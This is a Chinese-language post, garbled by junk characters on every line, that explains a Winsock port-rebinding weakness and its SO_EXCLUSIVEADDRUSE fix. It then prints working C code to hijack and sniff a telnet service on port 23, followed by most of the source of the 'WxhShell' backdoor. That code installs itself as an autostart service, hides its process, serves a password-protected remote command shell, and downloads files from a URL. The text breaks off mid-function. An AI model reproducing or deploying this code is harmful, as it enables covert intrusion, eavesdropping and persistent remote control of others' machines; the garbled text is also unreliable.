在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/Dd.C<F s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?xa70Pb{; $&25hvK, saddr.sin_family = AF_INET;
h+gaKh=k+ hD>]\u saddr.sin_addr.s_addr = htonl(INADDR_ANY);
kC,=E9)O -1_WE/Ps bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YYE{zU x/fhlf}a}= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^cUmLzM N!PPL"5z 这意味着什么?意味着可以进行如下的攻击:
bIXudE[8zq =,BDd$e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
c>|1%}"? n1!}d%: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'iM#iA8 o5@d1A 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
R7o'V* d t !8(I R 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
B_uhNLd +P &S0/ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
70GwTK.{~ %jE0Z4\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
pqCp>BO?O }>5R9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}ed{8"bj {e+}jZ[L #include
bMA0#e2 #include
SHc?C&^S #include
j%U'mGx #include
B,q)<z6< DWORD WINAPI ClientThread(LPVOID lpParam);
8I}ATc
int main()
u?F^gIw {
tCR#TW+IY- WORD wVersionRequested;
w61*jnvi@ DWORD ret;
~eyZH8& WSADATA wsaData;
&s(mbpV BOOL val;
,bxGd!&{Q SOCKADDR_IN saddr;
;=UkTn}N?l SOCKADDR_IN scaddr;
8U%y[2sT int err;
{UFs1 SOCKET s;
J'E?Z0 SOCKET sc;
1)H;}%[ int caddsize;
aKFY&zN? HANDLE mt;
[k]3#<sS DWORD tid;
3s0I<cL wVersionRequested = MAKEWORD( 2, 2 );
*=}\cw\A err = WSAStartup( wVersionRequested, &wsaData );
<^w4+5sT/ if ( err != 0 ) {
Qp;FVUw9 printf("error!WSAStartup failed!\n");
gF2,Jm@"6 return -1;
m@y<wk(
}
>|pN4FS saddr.sin_family = AF_INET;
#Y0ru9 -uNM_|MO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$!vK#8-&{ {pXqw'"1. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
oO^=%Mc( saddr.sin_port = htons(23);
rh DiIO_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
pupt__NZ)n {
GP(ze-Yp printf("error!socket failed!\n");
#l
6QE=: return -1;
S"/-)_{ }
n= q7*<l val = TRUE;
$q##Tys //SO_REUSEADDR选项就是可以实现端口重绑定的
$=5kn>[_Z% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
e!ql8wbp {
<
w;490g printf("error!setsockopt failed!\n");
25;(`Td5 return -1;
!E6QED" }
tpa<)\7KJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MnP+L'| //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
} J`cRDO //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
0 _N.s5~N T0@$6&b%\z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
!tSh9L;<O {
hGcu(kAC, ret=GetLastError();
L+CPT printf("error!bind failed!\n");
r%9=75HA return -1;
LvMA('4 }
p~v0pi listen(s,2);
(v&iXD5t while(1)
{mB!mbr
{
lV9 caddsize = sizeof(scaddr);
A@eR~Kp
^ //接受连接请求
9TbbIP1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"|BSGV!8 if(sc!=INVALID_SOCKET)
=imJ0V~RW {
-56gg^Pnr mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
TUARYJ6= if(mt==NULL)
_Nh`-R%B) {
@}s EP&$ printf("Thread Creat Failed!\n");
A6
Rw LX break;
R+El/ya:6 }
ByacSN }
6#Rco%07zI CloseHandle(mt);
lx7]rkWo|a }
F##xVmR~ closesocket(s);
fX2OH)6U WSACleanup();
%LuA:{EVD return 0;
A1*\ \[ }
m;0ZV%c*j DWORD WINAPI ClientThread(LPVOID lpParam)
i0Rj;E=:] {
#|T2`uYotf SOCKET ss = (SOCKET)lpParam;
5?0~7^de SOCKET sc;
HQnc`2 unsigned char buf[4096];
PsZ>L SOCKADDR_IN saddr;
=mSu^q(l long num;
{gxP_> DWORD val;
y#= j{ DWORD ret;
HBZ6 Pj //如果是隐藏端口应用的话,可以在此处加一些判断
=G !]_d0 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
yq1G6hw saddr.sin_family = AF_INET;
o$Y#C{wC% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
rs,'vV-2\ saddr.sin_port = htons(23);
sY1.z5"Mm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0\,! {
zN=s]b=/ printf("error!socket failed!\n");
8c>xgFWp9 return -1;
"xnULQK }
)Cat$)I#, val = 100;
'rq@9$h1W if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#. 71O#! {
>x6)AH. ret = GetLastError();
:i|]iXEI" return -1;
ah,"c9YX }
F%.UpV, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~,Yd.?.TI {
^+0>,-)F ret = GetLastError();
.gM6m8l9wp return -1;
LXZI|K[}k }
c|Z6p{)V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rHuzGSX54 {
U$S{j&? printf("error!socket connect failed!\n");
CNhLp# closesocket(sc);
m# -&<= closesocket(ss);
>
6=3y4tP return -1;
0{XT#H }
6 !N2B[9 while(1)
sXNb {
+1@'2w{ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Pa?{}A //如果是嗅探内容的话,可以再此处进行内容分析和记录
3_.%NgES| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
kB%.i%9\\ num = recv(ss,buf,4096,0);
Z~}9^ (qc if(num>0)
LFZ*mRiuKE send(sc,buf,num,0);
4#:C t* f else if(num==0)
/8<c~ break;
r'lANl-v num = recv(sc,buf,4096,0);
hm
k ~ if(num>0)
{[hgSVN; send(ss,buf,num,0);
d+6q%U else if(num==0)
%|1s9?h7\ break;
RKM5FXX }
==oJhB
closesocket(ss);
#?,"/Btq closesocket(sc);
rq Uk_|Xa return 0 ;
g_A#WQyh\' }
2\1bQq\ EziGkbpd@ x34GRe!! ==========================================================
F S$8F =BJe}AV 下边附上一个代码,,WXhSHELL
B(5>H2 z-:>[Sn ==========================================================
!H<%X~|, M{jq6c #include "stdafx.h"
/Ahh6=qQY y~wr4Q= #include <stdio.h>
_ n1:v~ #include <string.h>
D;jbZ9 #include <windows.h>
9\T9pjdZE #include <winsock2.h>
"Nz@jv? #include <winsvc.h>
EJQT\c #include <urlmon.h>
L6;'V5Mg72 )CmHC3 #pragma comment (lib, "Ws2_32.lib")
~*UY[!+4^= #pragma comment (lib, "urlmon.lib")
4S[)5su s&<76kwl #define MAX_USER 100 // 最大客户端连接数
q_mxZM
-> #define BUF_SOCK 200 // sock buffer
Zm7,O8 #define KEY_BUFF 255 // 输入 buffer
fO
.=i1
E} 12_7UWZ" #define REBOOT 0 // 重启
q)KOI`A #define SHUTDOWN 1 // 关机
,'9R/7%s jW-;Y/S #define DEF_PORT 5000 // 监听端口
4\g[& x25zk4- #define REG_LEN 16 // 注册表键长度
M)AvcZNs #define SVC_LEN 80 // NT服务名长度
v-^tj}jA 3K/'K[~ // 从dll定义API
='_3qn. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*!{&n*N typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
E*fa&G~s ) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[!8bjc]c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
n2Mpo\2 Zk>m!F>,p // wxhshell配置信息
$J,$_O6 struct WSCFG {
\pTv;( int ws_port; // 监听端口
z"QXPIXPk char ws_passstr[REG_LEN]; // 口令
EAKW^'D int ws_autoins; // 安装标记, 1=yes 0=no
nZc6
*jiz char ws_regname[REG_LEN]; // 注册表键名
RAws{<6T- char ws_svcname[REG_LEN]; // 服务名
w"#rwV& char ws_svcdisp[SVC_LEN]; // 服务显示名
,dw\y/dn char ws_svcdesc[SVC_LEN]; // 服务描述信息
x K\i&A char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Wg,@S*x( int ws_downexe; // 下载执行标记, 1=yes 0=no
bn5O2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
+>Gw)|oX char ws_filenam[SVC_LEN]; // 下载后保存的文件名
?~#[cx .;.Zbhm };
U5@B7v1 >i.$s // default Wxhshell configuration
OYn5k6 struct WSCFG wscfg={DEF_PORT,
Gm=&[?} "xuhuanlingzhe",
a2i:fz=[ 1,
pY&dw4V "Wxhshell",
e^\#DDm "Wxhshell",
cfg.&P> "WxhShell Service",
Gl45HyY_ "Wrsky Windows CmdShell Service",
]Y76~!N "Please Input Your Password: ",
,1lW`Krx 1,
.h4Z\R` "
http://www.wrsky.com/wxhshell.exe",
A&%7Z^Pp "Wxhshell.exe"
HU4h.Lm };
m(kv:5<> [fb9;,x` // 消息定义模块
>1]hR)Ip char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
PU B0H char *msg_ws_prompt="\n\r? for help\n\r#>";
nmE H/a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
KM"?l<x0Y char *msg_ws_ext="\n\rExit.";
/d Ua char *msg_ws_end="\n\rQuit.";
uGW#z_{(n char *msg_ws_boot="\n\rReboot...";
C#1'kQO char *msg_ws_poff="\n\rShutdown...";
7v0VZ(UR char *msg_ws_down="\n\rSave to ";
o8%o68py H_Sv,lwz;c char *msg_ws_err="\n\rErr!";
FYefn3b char *msg_ws_ok="\n\rOK!";
0JR)-* 2e3AmR@* char ExeFile[MAX_PATH];
R"CF xo int nUser = 0;
/7,@q?v HANDLE handles[MAX_USER];
QyZ'%T5J int OsIsNt;
&G\C[L `022gHYv SERVICE_STATUS serviceStatus;
EQZ/v gho SERVICE_STATUS_HANDLE hServiceStatusHandle;
2\+N<-(F5 f.oY:3h: // 函数声明
~Hj c?* int Install(void);
';D>Z?l int Uninstall(void);
bu\(KR$s int DownloadFile(char *sURL, SOCKET wsh);
:fy,%su int Boot(int flag);
6Iz!_ void HideProc(void);
T<yfpUzX int GetOsVer(void);
,lFzL3'_0x int Wxhshell(SOCKET wsl);
H/8u?OC void TalkWithClient(void *cs);
qvhG^b0h int CmdShell(SOCKET sock);
"e>9R'y int StartFromService(void);
bS55/M w int StartWxhshell(LPSTR lpCmdLine);
Yc3\ ?hIDyM VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L/vw7XNrX VOID WINAPI NTServiceHandler( DWORD fdwControl );
=>A}eR1Y p#rqe<Ua // 数据结构和表定义
G2@'S&2@s SERVICE_TABLE_ENTRY DispatchTable[] =
HyYJ"54 {
pXh`o20I {wscfg.ws_svcname, NTServiceMain},
JEZ0O&_R {NULL, NULL}
3(.Y>er%U };
UalwK Jk{v(W# // 自我安装
G- ]_
d int Install(void)
JZ-64OT {
%6M%PR~u char svExeFile[MAX_PATH];
"l#"c{ee{ HKEY key;
XZ8]se"C strcpy(svExeFile,ExeFile);
jr-9KxE YuzVh9jTI // 如果是win9x系统,修改注册表设为自启动
:inVwc if(!OsIsNt) {
RgM=g8}M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mU||(;I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W}(T5D" 3x RegCloseKey(key);
7v.O Lp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F^}d>2W( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b!"FM/% RegCloseKey(key);
cN\_1 return 0;
>f|0# * }
hOdU% }
v&f\ Jv7 }
YXdo&'Q<qX else {
PVmePgF
6_tl_O7 // 如果是NT以上系统,安装为系统服务
8#1o SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
c<q~T >0k if (schSCManager!=0)
jOK!k {
Mdu\ci)lr SC_HANDLE schService = CreateService
$8[JL\ (
RYl\Q,# schSCManager,
~!%G2E! wscfg.ws_svcname,
-7Kstc- wscfg.ws_svcdisp,
{?3i^Q=V SERVICE_ALL_ACCESS,
)M7~RN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
]/[@.
SERVICE_AUTO_START,
Q,ZV C SERVICE_ERROR_NORMAL,
XuU>.T$] c svExeFile,
;9Wimf]G,E NULL,
vrvi]
Y8 NULL,
X|R"8cJ NULL,
q)YHhH\ NULL,
&oFgZ . NULL
c/(Dg$DbX );
Q}g"pl if (schService!=0)
hN!{/Gc| {
MOuEsm; CloseServiceHandle(schService);
=#&+w[4?&. CloseServiceHandle(schSCManager);
$?pfst~;O strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
N[yS heT strcat(svExeFile,wscfg.ws_svcname);
dw| VH1fS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#210 Yp# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
m*KI'~#$% RegCloseKey(key);
91k-os(4] return 0;
_+%p!!
}
=:H EF;! }
Go[anf CloseServiceHandle(schSCManager);
$]^Io)}f@ }
A 0;ng2& }
]2iEi`"[ 1XHE:0!dQ return 1;
#aKUD }
aZo>3z; ]BmnE#n& // 自我卸载
e
:@PI(P! int Uninstall(void)
h6;zAM} {
g}*p(Tp9: HKEY key;
F$O$Y[ ?H8dyQ5" if(!OsIsNt) {
DJ!pZUO{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
71\GK RegDeleteValue(key,wscfg.ws_regname);
6O*lZNN RegCloseKey(key);
f{{J_""?& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)6px5Vwz RegDeleteValue(key,wscfg.ws_regname);
WkPT6d RegCloseKey(key);
IPt
!gSp return 0;
/?}2OCq }
&Cr4<V6-q }
Ghar
hJ>v }
6 8Vxy else {
GX*9R> x,GLGGi}_x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
gYmO4/c,
if (schSCManager!=0)
( F4c0 {
Nema>T] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$1k@O@F(4 if (schService!=0)
bb-u'"5^] {
STPRC&7; if(DeleteService(schService)!=0) {
y
QGd<( CloseServiceHandle(schService);
VWqZ`X CloseServiceHandle(schSCManager);
9A9T'g)Du return 0;
}|Bs|$q }
`A8ErfA CloseServiceHandle(schService);
@\a~5CLN }
-_Kw3x CloseServiceHandle(schSCManager);
V$dhiP
z }
;ssI8\LG }
uhB
V)Qg f5/s+H! return 1;
`^h:}V }
/+m2|Ij( |n~,{= // 从指定url下载文件
.=9d3uWJ/ int DownloadFile(char *sURL, SOCKET wsh)
!w;/ J^ {
//%#?JJV HRESULT hr;
z:u)@>6D1 char seps[]= "/";
`O0y8 char *token;
kr-5O0tmf char *file;
s5)y%,E char myURL[MAX_PATH];
[*@
+ char myFILE[MAX_PATH];
Z{?T1 =n ?F*I2rt# strcpy(myURL,sURL);
1X9J[5|ll token=strtok(myURL,seps);
=J'Q%qN<Zd while(token!=NULL)
Fqh./@o {
v 7%}ey[ file=token;
]ZNFrpq token=strtok(NULL,seps);
=r3g:j/>q }
"{zqXM}:C `g0^W/j GetCurrentDirectory(MAX_PATH,myFILE);
9mjJC strcat(myFILE, "\\");
r`<x@, strcat(myFILE, file);
aX
Ie send(wsh,myFILE,strlen(myFILE),0);
P!!O~P send(wsh,"...",3,0);
@jrxbo;5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6?[SlPPE1 if(hr==S_OK)
A;o({9VH`Z return 0;
KL$> j/qT else
JVr8O`>T return 1;
$8SSu|O+x 1/K1e$r }
'(g;nU< }}k*i0 // 系统电源模块
.L]5,#2([ int Boot(int flag)
9}Ge@a<j {
D0z[h(m HANDLE hToken;
34nfL: y TOKEN_PRIVILEGES tkp;
@AK&R~< G5 RdytK if(OsIsNt) {
q03+FLEfC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MU\Pggs LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Wu(^k25 tkp.PrivilegeCount = 1;
g:GywXW tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M^>l>?#rl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o$V0(1N if(flag==REBOOT) {
:{B']~Xf if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B<n[yiJ} return 0;
!nlr!+(fV }
4^ U%` 1 else {
=6'bGC%c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fNfa.0s return 0;
"fUNrhCx }
%r*,m3d }
DiTpjk]c` else {
Q]3]Z/i if(flag==REBOOT) {
[-\U)>MY(p if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
q/d?cLgl return 0;
V>GJO (9 }
rK`^A else {
Gv}Q/v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
#
, eC&X45 return 0;
`!(%Rk }
=tP^vgfQ }
5X>~39(r Q"GM3? return 1;
7Z<GlNv }
#8ltV` m g@Ol"2 // win9x进程隐藏模块
('$*QC.M void HideProc(void)
dU2; {
mH4u@aQ} 4;r,U{uR HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nZ (wfNk if ( hKernel != NULL )
:@ VC Kq! {
Un,'a8>V` pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4VwMl)8ic ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
,J-|.ER-> FreeLibrary(hKernel);
);6f8H@G }
ZGsd cnz 4cM0f,nc+ return;
a?8)47) }
l^B4.1rT $`ptSR // 获取操作系统版本
\_6 int GetOsVer(void)
Sy4|JM-5 {
96QY0
OSVERSIONINFO winfo;
&=$f\O1Ty winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
N- knhA GetVersionEx(&winfo);
JtxVF!v if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
kR^h@@'F" return 1;
~gGkw# else
q(^iT~} return 0;
ls!A'@J }
%dq%+yw{%m aX6}:"R2C // 客户端句柄模块
:yJ([ int Wxhshell(SOCKET wsl)
Zf<T`'_d {
D1 v0`od' SOCKET wsh;
CI-za !T struct sockaddr_in client;
3&AJN#c DWORD myID;
^B}m~qT <OKc?[ while(nUser<MAX_USER)
n*na6rV\k {
-T{2R:\{ int nSize=sizeof(client);
nGYimRYO wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
cc_'Kv! if(wsh==INVALID_SOCKET) return 1;
'VCuMCV `67i1w` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
<bSPKTKL if(handles[nUser]==0)
oQu>Qr{Zp closesocket(wsh);
\R]2YY`EP else
{ AYW
C6Y nUser++;
U4K ZPk }
su1fsoL0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
EK"/4t{L_ ./Ek+p*96H return 0;
U0:*?uA. }
~h
Dp-R; c!7WRHJE_a // 关闭 socket
w?|qKO void CloseIt(SOCKET wsh)
E&y)`>Nq{ {
S\A0gOL^ closesocket(wsh);
};9s8VZE nUser--;
)lS04|s ExitThread(0);
]3f[v:JQ }
Hv,ll1@h z+6PVQ // 客户端请求句柄
-k8sR1( void TalkWithClient(void *cs)
Y3&,U {
MQN~I^v3 ,-E'059 SOCKET wsh=(SOCKET)cs;
`:V'E>B char pwd[SVC_LEN];
i.)n#@M2 char cmd[KEY_BUFF];
ov,s]g83 char chr[1];
GAYn*'< int i,j;
Kd+E]$F_OH dEKu5GI while (nUser < MAX_USER) {
H8? Y{H eQ#i.% if(wscfg.ws_passstr) {
{fHor if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DH+kp$,} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i)X~L4gn //ZeroMemory(pwd,KEY_BUFF);
g%S/)R,,ct i=0;
$Uy+]9
while(i<SVC_LEN) {
y _"V=: IA.7If&k // 设置超时
_%D7D~2r| fd_set FdRead;
^#Q-?O struct timeval TimeOut;
JP6 Noia FD_ZERO(&FdRead);
Nr>UZlU8 FD_SET(wsh,&FdRead);
r.#r!.6 q TimeOut.tv_sec=8;
H2:
Zda# TimeOut.tv_usec=0;
+O 7(
>a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
h?SRX_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|au`ph5 b,~pwbHf if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[iq^'E pwd
=chr[0]; k"DZ"JC
if(chr[0]==0xd || chr[0]==0xa) { oydP}X
pwd=0; /K&9c
!]$C
break;
{q8|/{;
} eu$VKLY*
i++; L
QV@]z&
} /Ls|'2J<$
+CBN[/Z^i
// 如果是非法用户,关闭 socket '{
=F/q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HLV8_~gQPf
}
d6tLCQ
j`.&4.7+
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }WC[<AqI
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v;
#y^O
vkGF_aenk
while(1) { hfY/)-60o
.cs x"JC
ZeroMemory(cmd,KEY_BUFF); 5O]tkHYR
/fT"WaTEK
// 自动支持客户端 telnet标准 9;7"S.7AV
j=0; K(upzn*a
while(j<KEY_BUFF) { >@ 8'C"F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X+A@//,7
cmd[j]=chr[0]; -avxH?;?7
if(chr[0]==0xa || chr[0]==0xd) { 8/)\nV$0Y
cmd[j]=0; \ [[xyd
break; '12*'Q+{+
} (n B[aM
j++; nsi?.c&0!
} I[K4/91
:B5*?x
// 下载文件 G5U?]& I8
if(strstr(cmd,"http://")) { lJFy(^KQG,
send(wsh,msg_ws_down,strlen(msg_ws_down),0); LhAW|];
if(DownloadFile(cmd,wsh)) xP_%d,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \)uA:v
else JGvhw,g
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &\6},JN
} | VaJ70\o
else { *l
=f=
Q+Q"J U
switch(cmd[0]) { dcmf~+T
9rz$c, Y(
// 帮助 n^{h@u
case '?': { CQ6I4k
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %eofG]VM<
break; ].J;8}
} Gf#l ^yr
// 安装 H:hM(m0?q
case 'i': { bFN/{^SB
if(Install()) \`~YW<D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]n]_{BN]
else |0}Xb|+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .+XK>jl+
break; Q .Nw#r+m
} Go c*ugR
// 卸载 y[l{
UBue:
case 'r': { P,m+^,
if(Uninstall()) ly34aD/p~,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?F]P=S:x
else bs\kb-\R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $#n9C79Z@
break; NX%1L!
#
} tik*[1it
// 显示 wxhshell 所在路径 vzfMME17
case 'p': { PCaFG;}
char svExeFile[MAX_PATH]; >H;m[
strcpy(svExeFile,"\n\r"); LvS5N)[
strcat(svExeFile,ExeFile); V2?{ebx`
send(wsh,svExeFile,strlen(svExeFile),0); B=]L%~xL$
break; f@ |[pT
} g,WTXRy
// 重启 XQ[\K6X5
case 'b': { "2C}Pr,p8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y1r'\@L w
if(Boot(REBOOT)) rMJ@oc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1WqCezI
else { Xp<O
closesocket(wsh); i03S9J
ExitThread(0); B0yGr\KJ
} uZ_?x~V/
break; `UzH *w@e
} @Yb8CB
// 关机 '=+N
)O
case 'd': { ~2hzyEh
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y{e,I-"{
if(Boot(SHUTDOWN)) \M.?*p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rC|nE=i
else { EmUt/]
closesocket(wsh); 4IW90"uc
ExitThread(0); LC=M{\
} rr`_\ut
break; /o$6"~t
} !p\
@1?
// 获取shell a0JMLLa [I
case 's': { YSB> WBS-<
CmdShell(wsh); 6w3[PNd
closesocket(wsh); ) xV>Va8)
ExitThread(0); o\W>$$EXD
break; 7?k3jDK
} :+9. v
// 退出 *j,noHUT~>
case 'x': { VrT-6r'Y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `3[W~Cq
CloseIt(wsh); ^o Ds*F
break; #]i^L;u1A
} K(MZ!>{
// 离开 |iSwG=&
case 'q': { c3fi<?0&|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !F6rcDK I
closesocket(wsh); T[[E )f1[
WSACleanup(); i/8OC
exit(1); kW%wt1",
break; %|/\Qu
} 8EiS\$O-
} Y~( 8<`^
} Gyi0SM6v5&
S9b=?? M)
// 提示信息 GmUm?A@B
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kJ.7C
} b4KNIP7E
} _q-k1$o$
i[33u p
return; Bz,Xg-k+
} xw~oR|`U
Ttb ?x<)+8
// shell模块句柄 :=quCzG
int CmdShell(SOCKET sock) :%fnJg(
{ :W-xsw
STARTUPINFO si; 8-L -W[
ZeroMemory(&si,sizeof(si)); !YM:?%B
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #'#@H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JGhK8E
PROCESS_INFORMATION ProcessInfo; .)t*!$5=N
char cmdline[]="cmd"; u8x#XESR7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FV OPC:}bj
return 0; .nA9irc
} [m<8SOMG(
D#>d+X$
// 自身启动模式 x f:|lQf
int StartFromService(void) dZd]p8
{ k_OzkEM9!
typedef struct i|!R*"
{ R C!~eJG!
DWORD ExitStatus; )5diX
+
k
DWORD PebBaseAddress; "GxQ9=Z
DWORD AffinityMask; (x[z=_I%`
DWORD BasePriority; 5cr\ JR
